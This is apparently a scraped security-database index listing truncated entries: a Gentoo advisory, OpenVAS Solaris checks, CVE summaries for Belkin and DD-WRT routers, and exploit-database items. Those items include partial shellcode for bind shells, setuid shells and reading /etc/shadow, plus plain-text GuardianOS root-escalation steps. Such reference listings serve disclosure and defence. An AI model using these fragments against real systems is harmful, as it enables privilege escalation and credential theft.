Gentoo Security Advisory GLSA 201001-04 (virtualbox-bin virtualbox-ose virtualbox-guest-additions virtualbox-ose-additions)

The remote host is missing updates announced in advisory GLSA 201001-04. SPDX-FileCopyrightText: 2010 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only...

linux/x86 cp /bin/sh /tmp/katy

No description provided by source. / Linux/x86 /bin/cp /bin/sh /tmp/katy ; chmod 4555 /tmp/sh using fork / include stdio.h char shellcode = "\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f" "\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"...

freebsd/x86 portbind shellcode 167 bytes

No description provided by source. /- Copyright c 2009, Sofian Brabez [email protected] freebsd-x86-portbind.c - FreeBSD x86 portbind a shell /bin/sh on 1337 \x05\x39 167 bytes / const char shellcode = "\x6a\x00" // push $0x0 "\x6a\x01" // push $0x1 "\x6a\x02" // push $0x2 "\x50" // push %eax "\x6a\x6...

freebsd/x86 portbind shellcode 167 bytes

freebsd/x86 portbind shellcode 167 bytes. Shellcode exploit for freebsdx86 platform /- Copyright c 2009, Sofian Brabez freebsd-x86-portbind.c - FreeBSD x86 portbind a shell /bin/sh on 1337 \x05\x39 167 bytes / const char shellcode = "\x6a\x00" // push $0x0 "\x6a\x01" // push $0x1 "\x6a\x02" // pu...

linux/x86 setuid(0) & execve(/bin/cat /etc/shadow) 49 bytes

Exploit for linux/x86 platform in category shellcode =========================================================== linux/x86 setuid0 & execve/bin/cat /etc/shadow 49 bytes =========================================================== include / linux/x86 ; setuid0 & execve/bin/cat /etc/shadow 49 bytes...

System V Derived /bin/login Extraneous Arguments Buffer Overflow

This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core' class Metasploit3 'System V Derived...

Overland Guardian OS 5.1.041 - Local Privilege Escalation

Device: Snap Server 410 OS: GuardianOS 5.1.041 Description: When logged in to CLI via ssh as admin uid=1 you can escalate your privileges to uid 0 and get /bin/sh. In order to achieve this open 'less' which is available as default for viewing files ie. less /tmp/top.log and type in '!/bin/sh'. Th...

Overland Guardian OS 5.1.041 privilege escalation

No description provided by source. Device: Snap Server 410 OS: GuardianOS 5.1.041 Description: When logged in to CLI via ssh as admin uid=1 you can escalate your privileges to uid 0 and get /bin/sh. In order to achieve this open 'less' which is available as default for viewing files ie. less...

Solaris Update for /usr/bin/ssh 114357-18

Check for the Version of /usr/bin/ssh OpenVAS Vulnerability Test Solaris Update for /usr/bin/ssh 114357-18 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under th...

Solaris Update for /usr/bin/ssh 114356-19

Check for the Version of /usr/bin/ssh OpenVAS Vulnerability Test Solaris Update for /usr/bin/ssh 114356-19 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under th...

Solaris Update for /usr/bin/ssh 114356-19

Check for the Version of /usr/bin/ssh OpenVAS Vulnerability Test Solaris Update for /usr/bin/ssh 114356-19 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it under th...

Solaris Update for /usr/bin/dircmp 138647-01

Check for the Version of /usr/bin/dircmp OpenVAS Vulnerability Test Solaris Update for /usr/bin/dircmp 138647-01 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it...

Solaris Update for /usr/bin/dircmp 138648-01

Check for the Version of /usr/bin/dircmp OpenVAS Vulnerability Test Solaris Update for /usr/bin/dircmp 138648-01 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it...

Solaris Update for /usr/bin/dircmp 138648-01

Check for the Version of /usr/bin/dircmp OpenVAS Vulnerability Test Solaris Update for /usr/bin/dircmp 138648-01 Authors: System Generated Check Copyright: Copyright c 2009 Greenbone Networks GmbH, http://www.greenbone.net This program is free software; you can redistribute it and/or modify it...

CVE-2008-7115

The web interface to the Belkin Wireless G router and ADSL2 modem F5D7632-4V6 with firmware 6.01.08 allows remote attackers to bypass authentication and gain administrator privileges via a direct request to 1 statusprocess.exe, 2 systemall.exe, or 3 restore.exe in cgi-bin/. NOTE: the setupdns.exe...

CVE-2009-2765

httpd.c in httpd in the management GUI in DD-WRT 24 sp1, and other versions before build 12533, allows remote attackers to execute arbitrary commands via shell metacharacters in a request to a cgi-bin/ URI...

CVE-2009-2766

httpd.c in httpd in the management GUI in DD-WRT 24 sp1 does not require administrative authentication for programs under cgi-bin/, which allows remote attackers to change settings via HTTP requests...

CVE-2009-2765

The CVE-2009-2765 issue affects the DD-WRT HTTPd management GUI, where httpd.c in the HTTP daemon is vulnerable to shell metacharacter injection via requests to a CGI-bin URI. The vulnerability allows an unauthenticated remote attacker to execute arbitrary commands with root privileges on affecte...

PT-2009-5129

Name of the Vulnerable Software and Affected Versions DD-WRT versions prior to build 12533 Description The issue allows remote attackers to execute arbitrary commands via shell metacharacters in a request to a "cgi-bin/" URI. This is due to a problem in the httpd.c in httpd in the management GUI...

linux/x86 /bin/sh polymorphic shellcode 48 bytes

No description provided by source. / Title: Polymorphic Shellcode /bin/sh - 48 bytes Author: Jonathan Salwan Mail: submit ! shell-storm.org ! DataBase of shellcode : http://www.shell-storm.org/shellcode/ Original Informations ===================== Disassembly of section .text: 08048060 .text:...